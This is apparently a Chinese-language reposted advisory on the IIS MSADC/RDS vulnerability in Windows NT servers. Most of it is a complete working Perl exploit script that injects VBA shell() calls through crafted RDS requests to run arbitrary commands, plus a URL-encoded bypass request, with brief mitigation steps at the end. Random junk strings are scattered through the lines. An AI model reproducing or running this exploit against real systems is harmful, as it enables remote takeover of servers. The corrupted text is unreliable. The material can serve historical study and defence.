IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)sqp7["- 8o%<.] 涉及程序:
i4{ / Microsoft NT server
H`+]dXLB r-1yJ 描述:
B^_$
hJncc 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A$H+4L gavQb3EP 详细:
@4W\RwD 如果你没有时间读详细内容的话,就删除:
di)noQXkB- c:\Program Files\Common Files\System\Msadc\msadcs.dll
L:k@BCQM 有关的安全问题就没有了。
JWUv H &kr_CP:; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
uJ)\P ^>vO5Ho. 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
$h|I7` 关于利用ODBC远程漏洞的描述,请参看:
z Et6 :3E8`q~c1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3Aqe;Wf9%+ >ji}j~cH 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
6bA~mC^& http://www.microsoft.com/security/bulletins/MS99-025faq.asp $z`cMQ r eJVOVPg<, 这里不再论述。
Z7KB?1{G b& _i/n( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~PH1|h6 E:dT_x<Y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#Kb)>gzT 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
I2Or&
_ )P(d66yq'u ]VHdE_7) #将下面这段保存为txt文件,然后: "perl -x 文件名"
e5"-4udCn ')yF0 #!perl
tswG"1R #
iC5JU&l # MSADC/RDS 'usage' (aka exploit) script
t<EX#_i, #
/FNj|7s # by rain.forest.puppy
Ekg N6S`} #
BHRrXC\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8YJqM,t5) # beta test and find errors!
u6bB5(s`& s6eq?1l3 use Socket; use Getopt::Std;
nHhD<a! getopts("e:vd:h:XR", \%args);
RL]lt0O{ Fm[?@Z&wP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Vqv2F @. DY+8m8!4H if (!defined $args{h} && !defined $args{R}) {
CB{k;H print qq~
;>QK}#' Usage: msadc.pl -h <host> { -d <delay> -X -v }
WkU)I2oH -h <host> = host you want to scan (ip or domain)
Tr}$Pb1 -d <seconds> = delay between calls, default 1 second
NNREt:+kr
-X = dump Index Server path table, if available
tKqCy\-q -v = verbose
Ig?.*j ] -e = external dictionary file for step 5
|Z^c#R )lngef
/D_ Or a -R will resume a command session
WSpg(\Cs (>Q9jNW ~; exit;}
'k(~XA}X: Q+%m+ /Zq $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~1wdAq`'a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>FMT#x t if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
J?,!1V= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5)SZd) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'\E*W!R.] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
NId~|&\ 3K'o&>}L if (!defined $args{R}){ $ret = &has_msadc;
OD@@O9 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{/|8g( nD?M;XN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$0`$)(Y . "cmd /c ";
k~s>8N:&G $in=<STDIN>; chomp $in;
<K.C?M(9 $command="cmd /c " . $in ;
K&gc5L JXR/K=<^ if (defined $args{R}) {&load; exit;}
L!}j3(I ?\p%Mx? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/o06h y &try_btcustmr;
tU~H@' <0,ah4C print "\nStep 2: Trying to make our own DSN...";
wGQ hr=" &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%H 6ZfEO !+26a*P print "\nStep 3: Trying known DSNs...";
[XU{)l &known_dsn;
u>i+R"hi" kk\zZC
< print "\nStep 4: Trying known .mdbs...";
0f#a_ &known_mdb;
]zR;%p XGup,7e9 if (defined $args{e}){
IM&7h!
l"| print "\nStep 5: Trying dictionary of DSN names...";
Go+,jT- &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$v}8lBCr3 ThqfZl=V print "Sorry Charley...maybe next time?\n";
a!J ow?( exit;
L4A/7Ep +q,n}@y= ##############################################################################
/dvnQW4}8 &+r
;> sub sendraw { # ripped and modded from whisker
`GN5QLg#}0 sleep($delay); # it's a DoS on the server! At least on mine...
GHsdLe=t0# my ($pstr)=@_;
!vo '8r?& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
][K8\ die("Socket problems\n");
>p#d;wK4_ if(connect(S,pack "SnA4x8",2,80,$target)){
L!Zxc~ select(S); $|=1;
L"vG:Mq@D print $pstr; my @in=<S>;
^)P5(fJ select(STDOUT); close(S);
I8oKa$RF return @in;
AiHDoV+- } else { die("Can't connect...\n"); }}
LGgx.Z Q_|S^hxQ ##############################################################################
uM!r|X)8 f!kdcr=/" sub make_header { # make the HTTP request
iqKfMoy5 my $msadc=<<EOT
{^O/MMB\\% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
SVEA User-Agent: ACTIVEDATA
lG^nT Host: $ip
wNZS6JF.d Content-Length: $clen
]~x/8%e76 Connection: Keep-Alive
hE`%1j2( D2*Q1n ADCClientVersion:01.06
yD
id`ym Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
WMRgf~TY=2 q>l kLHS --!ADM!ROX!YOUR!WORLD!
g<0%-p Content-Type: application/x-varg
LFM5W&? Content-Length: $reqlen
(IQ L`3f% XK9*,WA9r EOT
R\=\6( " ; $msadc=~s/\n/\r\n/g;
R#^pNJN return $msadc;}
RuEnr7gi *wZV*)} ##############################################################################
-EIMh^ ?@BaBU:o`F sub make_req { # make the RDS request
FHPZQC8 my ($switch, $p1, $p2)=@_;
BCDf9]X my $req=""; my $t1, $t2, $query, $dsn;
]qG5Ne_ n~cm?" if ($switch==1){ # this is the btcustmr.mdb query
8i$`oMv[y $query="Select * from Customers where City=" . make_shell();
#:5g`Ch4, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~5qZs"ks $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
f6A['<%o sEi.f(WA elsif ($switch==2){ # this is general make table query
[?o vJ $query="create table AZZ (B int, C varchar(10))";
{'bkU9+ $dsn="$p1";}
TZ_'nB~ H4",r5qw: elsif ($switch==3){ # this is general exploit table query
6#63D>OWp $query="select * from AZZ where C=" . make_shell();
4U1fPyt $dsn="$p1";}
4!W?z2ly~R t-m,~Io W elsif ($switch==4){ # attempt to hork file info from index server
!x /Z" $query="select path from scope()";
Pb&+(j $dsn="Provider=MSIDXS;";}
Jy
NY * &IY_z0= elsif ($switch==5){ # bad query
-.3k
vL $query="select";
exU=!3Ji $dsn="$p1";}
otVdx&%] 8pt<)Rs} $t1= make_unicode($query);
FQRcZpv; $t2= make_unicode($dsn);
MM$"6Jor $req = "\x02\x00\x03\x00";
gx
R|S
$req.= "\x08\x00" . pack ("S1", length($t1));
Fd.d( $req.= "\x00\x00" . $t1 ;
PS;*N8 $req.= "\x08\x00" . pack ("S1", length($t2));
dV*rnpN $req.= "\x00\x00" . $t2 ;
3sIM7WD? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
vyy\^nL return $req;}
"lb!m9F{ {/!"}{G1e ##############################################################################
]Y!
Vyn #$T"QL@ sub make_shell { # this makes the shell() statement
md
LJ,w?{ return "'|shell(\"$command\")|'";}
<R%6L& \>azY
g ##############################################################################
1caod0gor iFchD\E*o sub make_unicode { # quick little function to convert to unicode
'0rwNEg my ($in)=@_; my $out;
r}Av" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_
9]3S>Rn return $out;}
I"?&X4%e >&z+ih ##############################################################################
,1+_k ="Z 6;V1PK>9 sub rdo_success { # checks for RDO return success (this is kludge)
&h[}5 my (@in) = @_; my $base=content_start(@in);
YIqfGXu8 if($in[$base]=~/multipart\/mixed/){
^PpFI return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%*}f<k{6 return 0;}
,pzCJ@5 *E'K{?-K ##############################################################################
wt;aO_l xkovoTzV sub make_dsn { # this makes a DSN for us
FeLP!oS> my @drives=("c","d","e","f");
V;jz0B print "\nMaking DSN: ";
(%}C foreach $drive (@drives) {
Y2EN!{YU print "$drive: ";
!)34tu2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4fswx@l "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
) /'s&
D . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
pkx>6(Y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
vKf=t&gqr return 0 if $2 eq "404"; # not found/doesn't exist
g=Di2j{A if($2 eq "200") {
-f=hL7NW foreach $line (@results) {
/jD'o> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KG$2u:n } return 0;}
ig{5]wZ( -s"lW 7N^ ##############################################################################
iXFaQ A$cbH. sub verify_exists {
h;->i] my ($page)=@_;
-yeT $P&| my @results=sendraw("GET $page HTTP/1.0\n\n");
ZI7<E return $results[0];}
)RFeF!(" Sqs`E[G* ##############################################################################
x#D=?/~/Kv 3
6
;hg# sub try_btcustmr {
/&yT2p my @drives=("c","d","e","f");
hr5)$qZW my @dirs=("winnt","winnt35","winnt351","win","windows");
tUQ)q d/1XL[& foreach $dir (@dirs) {
s9iM hCu| print "$dir -> "; # fun status so you can see progress
\BL9}5y foreach $drive (@drives) {
z{\.3G print "$drive: "; # ditto
Fm"$W^H $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8*wI^*Q $reqlenlen=length( "$reqlen" );
e+wd>iiB $clen= 206 + $reqlenlen + $reqlen;
zu#o<6E{ @d\F; o< my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"|if<hx+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
3nO|A: t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
n>WS@b/o XJ;/kR ##############################################################################
00i9yC8@6 N2>JG]G sub odbc_error {
3>+;G4 my (@in)=@_; my $base;
|Bp?"8%*l my $base = content_start(@in);
/!hW6u5 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
rzu^br9X $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;QYK {3R? $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q)*0G* $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\IKr+wlN8 return $in[$base+4].$in[$base+5].$in[$base+6];}
,v"A}g0" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:Lx]`dSk print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Zu,f&smb $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
K_i2%t3 ZAE;$pkP ##############################################################################
jkq+j^ a;K:~R+@, sub verbose {
>EY0-B my ($in)=@_;
o&]qjFo\m return if !$verbose;
P]n
'q print STDOUT "\n$in\n";}
S~T[*Z/m Gsb]e ##############################################################################
>KE(%9y~ 7u zN/LAF sub save {
Dng^4VRd my ($p1, $p2, $p3, $p4)=@_;
>qE$:V"_5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
GOt@x9% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/?sV\shy close OUT;}
_3hEYeh mIyaoIE|$ ##############################################################################
gP3[=a"\ )Ii=8etdv sub load {
?Rdi"{.wI my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
o! 8X< o open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+"!IVHY @p=<IN>; close(IN);
DsoF4&>g[B $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<Wpz\U $target= inet_aton($ip) || die("inet_aton problems");
<x/&Ml+ print "Resuming to $ip ...";
<6@Db$- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6
Qmtb2 if($p[1]==1) {
4Xz|HU? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_#+i;$cO-X $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'Gk|&^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
W;=ZQ5Lw if (rdo_success(@results)){print "Success!\n";}
\21!NPXH2 else { print "failed\n"; verbose(odbc_error(@results));}}
f c91D]c elsif ($p[1]==3){
6vDgMfw if(run_query("$p[3]")){
.MKxHM7 print "Success!\n";} else { print "failed\n"; }}
Fq8Z:;C8 elsif ($p[1]==4){
[(C lvGx if(run_query($drvst . "$p[3]")){
y3x_B@}BY print "Success!\n"; } else { print "failed\n"; }}
w^~,M3(+)1 exit;}
M<SZ7^9< q
bo`E!K ##############################################################################
|
!Knd ^} %lBFj/B sub create_table {
ek9%Xk8 my ($in)=@_;
%:NI@59 $reqlen=length( make_req(2,$in,"") ) - 28;
BEw(SQH $reqlenlen=length( "$reqlen" );
?IK[]=! $clen= 206 + $reqlenlen + $reqlen;
aa|xZ my @results=sendraw(make_header() . make_req(2,$in,""));
C-8@elZ1 return 1 if rdo_success(@results);
`!i>fo~ my $temp= odbc_error(@results); verbose($temp);
<*L8kNykK return 1 if $temp=~/Table 'AZZ' already exists/;
K$4Ky&89
return 0;}
=_5-z|< [Mx+t3M ##############################################################################
O?@AnkOhn LVSJK.B sub known_dsn {
mz47lv1? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
HxjhP( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
C`fQ` RL\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
}u
:sh >2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
m9r
X IMj{n.y4 foreach $dSn (@dsns) {
Na4\)({ print ".";
Qk((H~I} next if (!is_access("DSN=$dSn"));
d2pVO]l YZ if(create_table("DSN=$dSn")){
ZPXxrmq% print "$dSn successful\n";
v''$qMQ) if(run_query("DSN=$dSn")){
MZ0 J/@( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,ecFHkT> print "Something's borked. Use verbose next time\n";}}} print "\n";}
'Ag?#vB G=DRz F ##############################################################################
p?5zwdX+` "_lSw3 sub is_access {
O%OeYO69 my ($in)=@_;
"bJW yUb $reqlen=length( make_req(5,$in,"") ) - 28;
&Mol8=V) $reqlenlen=length( "$reqlen" );
q:fkF^> $clen= 206 + $reqlenlen + $reqlen;
8q_nOGd my @results=sendraw(make_header() . make_req(5,$in,""));
`On%1%k8 my $temp= odbc_error(@results);
2TdcZ<k}J verbose($temp); return 1 if ($temp=~/Microsoft Access/);
OF}vY0oiw? return 0;}
-Wf 2m6t u-D%: lz85 ##############################################################################
8< R#} 8/k*"^3 sub run_query {
F8q|$[nH my ($in)=@_;
BPW2WSm@< $reqlen=length( make_req(3,$in,"") ) - 28;
U2;_{n*g% $reqlenlen=length( "$reqlen" );
lwSA!W $clen= 206 + $reqlenlen + $reqlen;
k/>k&^? my @results=sendraw(make_header() . make_req(3,$in,""));
d-X<+&VZ return 1 if rdo_success(@results);
v81<K*w`P my $temp= odbc_error(@results); verbose($temp);
$%ps:ui~X return 0;}
f mf(5 n* uT ##############################################################################
y6fYNB @PutUYz sub known_mdb {
_qr?v=,-A my @drives=("c","d","e","f","g");
s_/CJ6s my @dirs=("winnt","winnt35","winnt351","win","windows");
`2G 0B@ my $dir, $drive, $mdb;
m)V%l0 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^I7iEv arm26YA-, # this is sparse, because I don't know of many
29:] cL(5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
o!: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
K1Mn_)% "\\system32\\certmdb.mdb",
y-9Mm9J "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
12.|E d*72 *y0TtEd; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
05Ak[OOU> "\\cfusion\\cfapps\\forums\\forums_.mdb",
f-^JI*hj "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_vm ~yKId "\\cfusion\\cfapps\\security\\realm_.mdb",
J.$N<. "\\cfusion\\cfapps\\security\\data\\realm.mdb",
EjrK.|I0 "\\cfusion\\database\\cfexamples.mdb",
_->d41 "\\cfusion\\database\\cfsnippets.mdb",
EJrP{GH "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
iU+O(vi "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
N:_.z~>% "\\cfusion\\brighttiger\\database\\cleam.mdb",
y2KR^/LN|Y "\\cfusion\\database\\smpolicy.mdb",
|cs]98FEf "\\cfusion\\database\cypress.mdb",
9!;/+P "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@P@?KZ..v! "\\website\\cgi-win\\dbsample.mdb",
PKJ w%.- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
dSkM A "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
\I( g70 ); #these are just
;X , A|m$( foreach $drive (@drives) {
8MU+i%hd foreach $dir (@dirs){
I;FHjnn( foreach $mdb (@sysmdbs) {
*lc|iq\ print ".";
u^, eHO if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
DZ"'GQSg print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
7v't# = if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Q\rf J|| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_\;0E!=p } else { print "Something's borked. Use verbose next time\n"; }}}}}
E%LUJx} 3?5JY;}h>" foreach $drive (@drives) {
6Z.Fyte foreach $mdb (@mdbs) {
>P@g].Q- print ".";
lha)4d if(create_table($drv . $drive . $dir . $mdb)){
#x*\dL print "\n" . $drive . $dir . $mdb . " successful\n";
LGB}:;$AL if(run_query($drv . $drive . $dir . $mdb)){
c^3,e/H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-!q^/ux } else { print "Something's borked. Use verbose next time\n"; }}}}
- ({h @ }
!y+uQ_IS@ x n?$@ ##############################################################################
4(
$p8J *+(rQ";x sub hork_idx {
y*=sboX print "\nAttempting to dump Index Server tables...\n";
9k/L m print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%:t! u&:q $reqlen=length( make_req(4,"","") ) - 28;
9:R3+,ZN $reqlenlen=length( "$reqlen" );
A*G ~#v^ $clen= 206 + $reqlenlen + $reqlen;
zG{P5@:.R my @results=sendraw2(make_header() . make_req(4,"",""));
(@m/j2z if (rdo_success(@results)){
H-\Ym}BGu my $max=@results; my $c; my %d;
!#d5hjoX
for($c=19; $c<$max; $c++){
^hNl6)hR $results[$c]=~s/\x00//g;
8yk7d76Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1_WP\@O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
{8>g?4Q# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_iu~vU)r $d{"$1$2"}="";}
F42<9)I foreach $c (keys %d){ print "$c\n"; }
CFC15/yU } else {print "Index server doesn't seem to be installed.\n"; }}
1*" 7q9x 90#* el ##############################################################################
<2N{oK. JR8|!Of@B sub dsn_dict {
'i',M+0>jC open(IN, "<$args{e}") || die("Can't open external dictionary\n");
S/"G=^~ while(<IN>){
3^[P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=^1jVaAL next if (!is_access("DSN=$dSn"));
wx^Det if(create_table("DSN=$dSn")){
47N,jVt4 print "$dSn successful\n";
_K}q%In if(run_query("DSN=$dSn")){
nrHC;R.nE print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
aq)g&.dw? print "Something's borked. Use verbose next time\n";}}}
, #=TputM print "\n"; close(IN);}
s_ t/ C~egF=w ##############################################################################
? X6M8` fLnwA|n= sub sendraw2 { # ripped and modded from whisker
O}>@G sleep($delay); # it's a DoS on the server! At least on mine...
l^Ob60)2 my ($pstr)=@_;
|.VSw socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^s6}[LDW>@ die("Socket problems\n");
}4N'as/ZO if(connect(S,pack "SnA4x8",2,80,$target)){
8OKG@hc print "Connected. Getting data";
qg{gCG open(OUT,">raw.out"); my @in;
^D<CoxG select(S); $|=1; print $pstr;
L&c
&
<+0T while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
fcxg6W' close(OUT); select(STDOUT); close(S); return @in;
<o/!M6^: } else { die("Can't connect...\n"); }}
r1}^\C "MU-&** ##############################################################################
<pfl>Uf +: x[cK sub content_start { # this will take in the server headers
EjL]#,QR my (@in)=@_; my $c;
[0EWIdT*b for ($c=1;$c<500;$c++) {
=* G3Khz! if($in[$c] =~/^\x0d\x0a/){
D%~tU70a if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
7mq&]4-G else { return $c+1; }}}
m^!:n$ return -1;} # it should never get here actually
4j~q,#$LW ~n-Px) ##############################################################################
LD ]-IX&L N"}>);r sub funky {
ulxfxfd my (@in)=@_; my $error=odbc_error(@in);
@4hzNi+ if($error=~/ADO could not find the specified provider/){
g'KxjjYT, print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ffG<hclk exit;}
hH 5}%/vF if($error=~/A Handler is required/){
TKM^ print "\nServer has custom handler filters (they most likely are patched)\n";
4^uSW&`;/ exit;}
E{EO9EI if($error=~/specified Handler has denied Access/){
KJRAW]?{ print "\nServer has custom handler filters (they most likely are patched)\n";
& ?x R exit;}}
Gsv<Rjj: lhHH|~t0 ##############################################################################
M#;
ks9 +=jS! sub has_msadc {
&y5"0mA my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
3("C'(W my $base=content_start(@results);
5afD;0D5TI return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
nm@h5ON_ return 0;}
gYhY1Mym 9T;4aP>6j# ########################
k?Z:=.YW K_;vqi^1^& ?>Sv_0 解决方案:
jd](m:eG 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\= v.$u"c 2、移除web 目录: /msadc